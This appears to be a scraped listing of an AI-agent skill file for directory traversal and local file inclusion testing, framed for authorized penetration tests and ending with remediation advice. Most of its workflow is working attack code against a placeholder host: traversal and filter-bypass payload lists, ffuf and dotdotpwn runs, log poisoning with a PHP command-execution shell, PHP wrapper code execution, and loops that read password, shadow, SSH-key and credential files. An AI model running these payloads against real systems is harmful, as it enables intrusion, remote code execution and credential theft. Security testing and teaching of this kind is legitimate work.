[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFR4M5Q900BTJ6NEYQ1S6Y":3,"skill-same:01M6AFR4M5Q900BTJ6NEYQ1S6Y":112},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":31,"publishedAt":52,"linkOnly":53,"markdownContent":54,"markdownBody":55,"frontMatter":56,"refName":71,"commitSha":72,"skillDirectory":73,"forksCount":74,"repositoryHtmlUrl":75,"repositoryHomepageUrl":76,"ownerHtmlUrl":77,"ownerBlogUrl":78,"ownerDescription":79,"updatedAt":80,"install":81,"resources":94},"01M6AFR4M5Q900BTJ6NEYQ1S6Y","performing-directory-traversal-testing",null,"Test web applications for path traversal and Local\u002FRemote File Inclusion vulnerabilities by manipulating file path parameters, applying encoding and filter-bypass techniques, automating discovery with ffuf and dotdotpwn, and reading high-value files or achieving code execution. Use during authorized penetration tests of file download, view, or include functionality, or when assessing APIs that accept file names or file paths as parameters.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-directory-traversal-testing\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":27,"categoryName":28,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],"directory","performing directory traversal testing","testing","execution","lfi","path-traversal","application-security","applications","t1505","web-security","t1059","security","web-application-security","owasp","ffuf","directory-traversal","file","code","pr","cybersecurity","2026-11-10 10:12:30",false,"---\nname: performing-directory-traversal-testing\ndescription: Test web applications for path traversal and Local\u002FRemote File Inclusion\n  vulnerabilities by manipulating file path parameters, applying encoding and filter-bypass\n  techniques, automating discovery with ffuf and dotdotpwn, and reading high-value files\n  or achieving code execution. Use during authorized penetration tests of file download,\n  view, or include functionality, or when assessing APIs that accept file names or file\n  paths as parameters.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- directory-traversal\n- path-traversal\n- lfi\n- owasp\n- web-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Performing Directory Traversal Testing\n\n## When to Use\n\n- During authorized penetration tests when the application handles file paths in URL parameters or request bodies\n- When testing file download, file view, or file include functionality\n- For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities\n- When evaluating template engines, logging systems, or report generators that reference files\n- During security assessments of APIs that accept file names or paths as parameters\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying file path parameters\n- **ffuf**: For fuzzing file path parameters with traversal payloads\n- **dotdotpwn**: Automated directory traversal fuzzer (`apt install dotdotpwn`)\n- **SecLists**: Traversal payload wordlists from Daniel Miessler's collection\n- **curl**: For manual testing of traversal payloads\n\n## Workflow\n\n### Step 1: Identify File Path Parameters\n\nFind application endpoints that reference files through parameters.\n\n```bash\n# Common file-handling patterns to look for:\n# \u002Fdownload?file=report.pdf\n# \u002Fview?page=about.html\n# \u002Fapi\u002Ffiles?path=documents\u002Finvoice.pdf\n# \u002Ftemplate?name=header.html\n# \u002Finclude?module=sidebar\n# \u002Fimage?src=photos\u002Favatar.jpg\n# \u002Fexport?format=csv&template=default\n\n# In Burp Suite, search proxy history for file-related parameters\n# Filter by parameter names: file, path, page, template, include,\n# module, src, doc, document, folder, dir, name, filename\n\n# Test with a known valid file to establish baseline\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\" -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\"\n\n# Try referencing a file that shouldn't be accessible\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n```\n\n### Step 2: Test Basic Directory Traversal Payloads\n\nAttempt to escape the intended directory and read sensitive files.\n\n```bash\n# Linux traversal payloads\nPAYLOADS=(\n  \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..%2f..%2f..%2fetc%2fpasswd\"\n  \"..%252f..%252f..%252fetc%252fpasswd\"\n  \"%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n  \"....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\n  \"..;\u002F..;\u002F..;\u002Fetc\u002Fpasswd\"\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\")\n  if echo \"$response\" | grep -q \"root:\"; then\n    echo \"VULNERABLE\"\n  else\n    echo \"Blocked\"\n  fi\ndone\n\n# Windows traversal payloads\nWIN_PAYLOADS=(\n  \"..\\..\\..\\windows\\win.ini\"\n  \"..%5c..%5c..%5cwindows%5cwin.ini\"\n  \"..\\\u002F..\\\u002F..\\\u002Fwindows\u002Fwin.ini\"\n  \"....\\\\....\\\\....\\\\windows\\\\win.ini\"\n)\n\nfor payload in \"${WIN_PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\" | head -c 100\n  echo\ndone\n```\n\n### Step 3: Apply Encoding and Filter Bypass Techniques\n\nUse various encoding schemes to bypass input validation filters.\n\n```bash\n# URL encoding bypass\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\"\n\n# Double URL encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd\"\n\n# UTF-8 encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd\"\n\n# Null byte injection (PHP \u003C 5.3.4)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.pdf\"\n\n# Path truncation (Windows)\n# Exceeding MAX_PATH (260 chars) to bypass extension checks\nLONG_PATH=\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\nfor i in $(seq 1 200); do LONG_PATH=\"${LONG_PATH}\u002F.\"; done\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$LONG_PATH\"\n\n# Case manipulation (Windows)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\\..\\..\\..\\WiNdOwS\\win.ini\"\n\n# Dot-dot-slash variations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n\n# Using absolute path (if filter only blocks relative traversal)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=\u002Fetc\u002Fpasswd\"\n```\n\n### Step 4: Automate with ffuf and dotdotpwn\n\nUse automated tools for comprehensive traversal testing.\n\n```bash\n# ffuf with traversal payload list\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=FUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n  -mc 200 \\\n  -fs 0 \\\n  -t 20 -rate 50 \\\n  -o traversal-results.json -of json\n\n# dotdotpwn for systematic traversal testing\ndotdotpwn -m http-url \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=TRAVERSAL\" \\\n  -k \"root:\" \\\n  -o \u002Ftmp\u002Fdotdotpwn-results.txt \\\n  -d 8 -t 200\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the file parameter value as insertion point\n# 3. Load LFI payload list from SecLists\n# 4. Add Grep Match rules for: \"root:\", \"[extensions]\", \"for 16-bit\"\n# 5. Start attack and review matches\n```\n\n### Step 5: Test Local File Inclusion (LFI) for Code Execution\n\nIf LFI is confirmed, attempt to escalate to remote code execution.\n\n```bash\n# PHP LFI to RCE via log poisoning\n# Step 1: Inject PHP code into access log\ncurl -s -A \"\u003C?php system(\\$_GET['cmd']); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n\n# Step 2: Include the log file via LFI\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=id\"\n\n# PHP wrapper for file read (base64 encode to avoid parsing)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php\"\n\n# PHP wrapper for code execution\ncurl -s -X POST \\\n  -d \"\u003C?php system('id'); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Finput\"\n\n# PHP data wrapper\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA\u002FPg==\"\n\n# Include \u002Fproc\u002Fself\u002Fenviron (if readable)\ncurl -s -A \"\u003C?php phpinfo(); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron\"\n\n# Session file inclusion\n# Write PHP code into session via another parameter\n# Then include: \u002Ftmp\u002Fsess_\u003CPHPSESSID>\n```\n\n### Step 6: Read High-Value Files\n\nTarget sensitive configuration and credential files.\n\n```bash\n# Linux high-value files\nHIGH_VALUE_LINUX=(\n  \"\u002Fetc\u002Fpasswd\"\n  \"\u002Fetc\u002Fshadow\"\n  \"\u002Fetc\u002Fhosts\"\n  \"\u002Fetc\u002Fhostname\"\n  \"\u002Fproc\u002Fself\u002Fenviron\"\n  \"\u002Fproc\u002Fself\u002Fcmdline\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002F.env\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\"\n  \"\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa\"\n  \"\u002Fhome\u002Fuser\u002F.bash_history\"\n  \"\u002Froot\u002F.bash_history\"\n  \"\u002Fvar\u002Flog\u002Fauth.log\"\n)\n\nfor file in \"${HIGH_VALUE_LINUX[@]}\"; do\n  traversal=\"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..$file\"\n  echo -n \"$file: \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$traversal\")\n  if [ ${#response} -gt 10 ]; then\n    echo \"READABLE (${#response} bytes)\"\n  else\n    echo \"Not accessible\"\n  fi\ndone\n\n# Windows high-value files\nHIGH_VALUE_WIN=(\n  \"C:\\\\Windows\\\\win.ini\"\n  \"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n  \"C:\\\\inetpub\\\\wwwroot\\\\web.config\"\n  \"C:\\\\Users\\\\Administrator\\\\.ssh\\\\id_rsa\"\n  \"C:\\\\xampp\\\\apache\\\\conf\\\\httpd.conf\"\n  \"C:\\\\xampp\\\\mysql\\\\data\\\\mysql\\\\user.MYD\"\n)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Directory Traversal** | Using `..\u002F` sequences to navigate to parent directories and access files outside the intended path |\n| **Local File Inclusion (LFI)** | Server-side inclusion of local files, potentially leading to code execution |\n| **Remote File Inclusion (RFI)** | Including files from external URLs (requires `allow_url_include=On` in PHP) |\n| **Null Byte Injection** | Using `%00` to truncate file paths, bypassing extension checks in older PHP versions |\n| **PHP Wrappers** | Protocols like `php:\u002F\u002Ffilter`, `php:\u002F\u002Finput`, `data:\u002F\u002F` for reading and executing files |\n| **Log Poisoning** | Injecting code into log files and then including them via LFI for code execution |\n| **Path Canonicalization** | The process of resolving relative paths to absolute paths, which can be exploited |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and Intruder for automated payload testing |\n| **ffuf** | Fast fuzzing with LFI\u002Ftraversal wordlists |\n| **dotdotpwn** | Dedicated directory traversal fuzzer with multiple traversal patterns |\n| **LFISuite** | Automated LFI exploitation tool with multiple techniques |\n| **SecLists** | Comprehensive wordlists including LFI payloads and traversal patterns |\n| **Kadimus** | LFI scanning and exploitation tool |\n\n## Common Scenarios\n\n### Scenario 1: File Download Traversal\nA document download endpoint at `\u002Fdownload?file=report.pdf` does not validate the file parameter. Replacing the value with `..\u002F..\u002F..\u002Fetc\u002Fpasswd` returns the server's password file.\n\n### Scenario 2: Template LFI to RCE\nA PHP application includes templates via `?page=home`. By poisoning the Apache access log with PHP code in the User-Agent header, then including the log file, the attacker achieves remote code execution.\n\n### Scenario 3: Image Path Traversal\nAn image resizing service accepts `?src=images\u002Fphoto.jpg`. The application strips `..\u002F` once but does not recurse, so `....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd` bypasses the filter.\n\n### Scenario 4: Windows IIS Configuration Leak\nA .NET application serves files via `?path=docs\\manual.pdf`. Traversing to `..\\..\\web.config` exposes the IIS configuration file containing database connection strings.\n\n## Output Format\n\n```\n## Directory Traversal Finding\n\n**Vulnerability**: Path Traversal \u002F Local File Inclusion\n**Severity**: High (CVSS 8.6)\n**Location**: GET \u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\n2. Replace file parameter: ?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n3. Server returns contents of \u002Fetc\u002Fpasswd\n\n### Files Retrieved\n| File | Impact |\n|------|--------|\n| \u002Fetc\u002Fpasswd | User enumeration (42 accounts) |\n| \u002Fvar\u002Fwww\u002Fhtml\u002F.env | Database credentials exposed |\n| \u002Fhome\u002Fdeploy\u002F.ssh\u002Fid_rsa | SSH private key recovered |\n| \u002Fproc\u002Fself\u002Fenviron | Environment variables with API keys |\n\n### Filter Bypass Required\nOriginal `..\u002F` stripped by filter. Successful bypass: `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd`\n\n### Recommendation\n1. Use an allowlist of permitted file names rather than accepting arbitrary paths\n2. Resolve the canonical path and verify it stays within the intended directory\n3. Run the web server with minimal file system permissions\n4. Remove sensitive files from web-accessible directories\n5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required\n```\n","# Performing Directory Traversal Testing\n\n## When to Use\n\n- During authorized penetration tests when the application handles file paths in URL parameters or request bodies\n- When testing file download, file view, or file include functionality\n- For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities\n- When evaluating template engines, logging systems, or report generators that reference files\n- During security assessments of APIs that accept file names or paths as parameters\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying file path parameters\n- **ffuf**: For fuzzing file path parameters with traversal payloads\n- **dotdotpwn**: Automated directory traversal fuzzer (`apt install dotdotpwn`)\n- **SecLists**: Traversal payload wordlists from Daniel Miessler's collection\n- **curl**: For manual testing of traversal payloads\n\n## Workflow\n\n### Step 1: Identify File Path Parameters\n\nFind application endpoints that reference files through parameters.\n\n```bash\n# Common file-handling patterns to look for:\n# \u002Fdownload?file=report.pdf\n# \u002Fview?page=about.html\n# \u002Fapi\u002Ffiles?path=documents\u002Finvoice.pdf\n# \u002Ftemplate?name=header.html\n# \u002Finclude?module=sidebar\n# \u002Fimage?src=photos\u002Favatar.jpg\n# \u002Fexport?format=csv&template=default\n\n# In Burp Suite, search proxy history for file-related parameters\n# Filter by parameter names: file, path, page, template, include,\n# module, src, doc, document, folder, dir, name, filename\n\n# Test with a known valid file to establish baseline\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\" -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\"\n\n# Try referencing a file that shouldn't be accessible\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n```\n\n### Step 2: Test Basic Directory Traversal Payloads\n\nAttempt to escape the intended directory and read sensitive files.\n\n```bash\n# Linux traversal payloads\nPAYLOADS=(\n  \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..%2f..%2f..%2fetc%2fpasswd\"\n  \"..%252f..%252f..%252fetc%252fpasswd\"\n  \"%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n  \"....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\n  \"..;\u002F..;\u002F..;\u002Fetc\u002Fpasswd\"\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\")\n  if echo \"$response\" | grep -q \"root:\"; then\n    echo \"VULNERABLE\"\n  else\n    echo \"Blocked\"\n  fi\ndone\n\n# Windows traversal payloads\nWIN_PAYLOADS=(\n  \"..\\..\\..\\windows\\win.ini\"\n  \"..%5c..%5c..%5cwindows%5cwin.ini\"\n  \"..\\\u002F..\\\u002F..\\\u002Fwindows\u002Fwin.ini\"\n  \"....\\\\....\\\\....\\\\windows\\\\win.ini\"\n)\n\nfor payload in \"${WIN_PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\" | head -c 100\n  echo\ndone\n```\n\n### Step 3: Apply Encoding and Filter Bypass Techniques\n\nUse various encoding schemes to bypass input validation filters.\n\n```bash\n# URL encoding bypass\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\"\n\n# Double URL encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd\"\n\n# UTF-8 encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd\"\n\n# Null byte injection (PHP \u003C 5.3.4)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.pdf\"\n\n# Path truncation (Windows)\n# Exceeding MAX_PATH (260 chars) to bypass extension checks\nLONG_PATH=\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\nfor i in $(seq 1 200); do LONG_PATH=\"${LONG_PATH}\u002F.\"; done\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$LONG_PATH\"\n\n# Case manipulation (Windows)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\\..\\..\\..\\WiNdOwS\\win.ini\"\n\n# Dot-dot-slash variations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n\n# Using absolute path (if filter only blocks relative traversal)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=\u002Fetc\u002Fpasswd\"\n```\n\n### Step 4: Automate with ffuf and dotdotpwn\n\nUse automated tools for comprehensive traversal testing.\n\n```bash\n# ffuf with traversal payload list\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=FUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n  -mc 200 \\\n  -fs 0 \\\n  -t 20 -rate 50 \\\n  -o traversal-results.json -of json\n\n# dotdotpwn for systematic traversal testing\ndotdotpwn -m http-url \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=TRAVERSAL\" \\\n  -k \"root:\" \\\n  -o \u002Ftmp\u002Fdotdotpwn-results.txt \\\n  -d 8 -t 200\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the file parameter value as insertion point\n# 3. Load LFI payload list from SecLists\n# 4. Add Grep Match rules for: \"root:\", \"[extensions]\", \"for 16-bit\"\n# 5. Start attack and review matches\n```\n\n### Step 5: Test Local File Inclusion (LFI) for Code Execution\n\nIf LFI is confirmed, attempt to escalate to remote code execution.\n\n```bash\n# PHP LFI to RCE via log poisoning\n# Step 1: Inject PHP code into access log\ncurl -s -A \"\u003C?php system(\\$_GET['cmd']); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n\n# Step 2: Include the log file via LFI\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=id\"\n\n# PHP wrapper for file read (base64 encode to avoid parsing)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php\"\n\n# PHP wrapper for code execution\ncurl -s -X POST \\\n  -d \"\u003C?php system('id'); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Finput\"\n\n# PHP data wrapper\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA\u002FPg==\"\n\n# Include \u002Fproc\u002Fself\u002Fenviron (if readable)\ncurl -s -A \"\u003C?php phpinfo(); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron\"\n\n# Session file inclusion\n# Write PHP code into session via another parameter\n# Then include: \u002Ftmp\u002Fsess_\u003CPHPSESSID>\n```\n\n### Step 6: Read High-Value Files\n\nTarget sensitive configuration and credential files.\n\n```bash\n# Linux high-value files\nHIGH_VALUE_LINUX=(\n  \"\u002Fetc\u002Fpasswd\"\n  \"\u002Fetc\u002Fshadow\"\n  \"\u002Fetc\u002Fhosts\"\n  \"\u002Fetc\u002Fhostname\"\n  \"\u002Fproc\u002Fself\u002Fenviron\"\n  \"\u002Fproc\u002Fself\u002Fcmdline\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002F.env\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\"\n  \"\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa\"\n  \"\u002Fhome\u002Fuser\u002F.bash_history\"\n  \"\u002Froot\u002F.bash_history\"\n  \"\u002Fvar\u002Flog\u002Fauth.log\"\n)\n\nfor file in \"${HIGH_VALUE_LINUX[@]}\"; do\n  traversal=\"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..$file\"\n  echo -n \"$file: \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$traversal\")\n  if [ ${#response} -gt 10 ]; then\n    echo \"READABLE (${#response} bytes)\"\n  else\n    echo \"Not accessible\"\n  fi\ndone\n\n# Windows high-value files\nHIGH_VALUE_WIN=(\n  \"C:\\\\Windows\\\\win.ini\"\n  \"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n  \"C:\\\\inetpub\\\\wwwroot\\\\web.config\"\n  \"C:\\\\Users\\\\Administrator\\\\.ssh\\\\id_rsa\"\n  \"C:\\\\xampp\\\\apache\\\\conf\\\\httpd.conf\"\n  \"C:\\\\xampp\\\\mysql\\\\data\\\\mysql\\\\user.MYD\"\n)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Directory Traversal** | Using `..\u002F` sequences to navigate to parent directories and access files outside the intended path |\n| **Local File Inclusion (LFI)** | Server-side inclusion of local files, potentially leading to code execution |\n| **Remote File Inclusion (RFI)** | Including files from external URLs (requires `allow_url_include=On` in PHP) |\n| **Null Byte Injection** | Using `%00` to truncate file paths, bypassing extension checks in older PHP versions |\n| **PHP Wrappers** | Protocols like `php:\u002F\u002Ffilter`, `php:\u002F\u002Finput`, `data:\u002F\u002F` for reading and executing files |\n| **Log Poisoning** | Injecting code into log files and then including them via LFI for code execution |\n| **Path Canonicalization** | The process of resolving relative paths to absolute paths, which can be exploited |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and Intruder for automated payload testing |\n| **ffuf** | Fast fuzzing with LFI\u002Ftraversal wordlists |\n| **dotdotpwn** | Dedicated directory traversal fuzzer with multiple traversal patterns |\n| **LFISuite** | Automated LFI exploitation tool with multiple techniques |\n| **SecLists** | Comprehensive wordlists including LFI payloads and traversal patterns |\n| **Kadimus** | LFI scanning and exploitation tool |\n\n## Common Scenarios\n\n### Scenario 1: File Download Traversal\nA document download endpoint at `\u002Fdownload?file=report.pdf` does not validate the file parameter. Replacing the value with `..\u002F..\u002F..\u002Fetc\u002Fpasswd` returns the server's password file.\n\n### Scenario 2: Template LFI to RCE\nA PHP application includes templates via `?page=home`. By poisoning the Apache access log with PHP code in the User-Agent header, then including the log file, the attacker achieves remote code execution.\n\n### Scenario 3: Image Path Traversal\nAn image resizing service accepts `?src=images\u002Fphoto.jpg`. The application strips `..\u002F` once but does not recurse, so `....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd` bypasses the filter.\n\n### Scenario 4: Windows IIS Configuration Leak\nA .NET application serves files via `?path=docs\\manual.pdf`. Traversing to `..\\..\\web.config` exposes the IIS configuration file containing database connection strings.\n\n## Output Format\n\n```\n## Directory Traversal Finding\n\n**Vulnerability**: Path Traversal \u002F Local File Inclusion\n**Severity**: High (CVSS 8.6)\n**Location**: GET \u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\n2. Replace file parameter: ?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n3. Server returns contents of \u002Fetc\u002Fpasswd\n\n### Files Retrieved\n| File | Impact |\n|------|--------|\n| \u002Fetc\u002Fpasswd | User enumeration (42 accounts) |\n| \u002Fvar\u002Fwww\u002Fhtml\u002F.env | Database credentials exposed |\n| \u002Fhome\u002Fdeploy\u002F.ssh\u002Fid_rsa | SSH private key recovered |\n| \u002Fproc\u002Fself\u002Fenviron | Environment variables with API keys |\n\n### Filter Bypass Required\nOriginal `..\u002F` stripped by filter. Successful bypass: `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd`\n\n### Recommendation\n1. Use an allowlist of permitted file names rather than accepting arbitrary paths\n2. Resolve the canonical path and verify it stays within the intended directory\n3. Run the web server with minimal file system permissions\n4. Remove sensitive files from web-accessible directories\n5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not 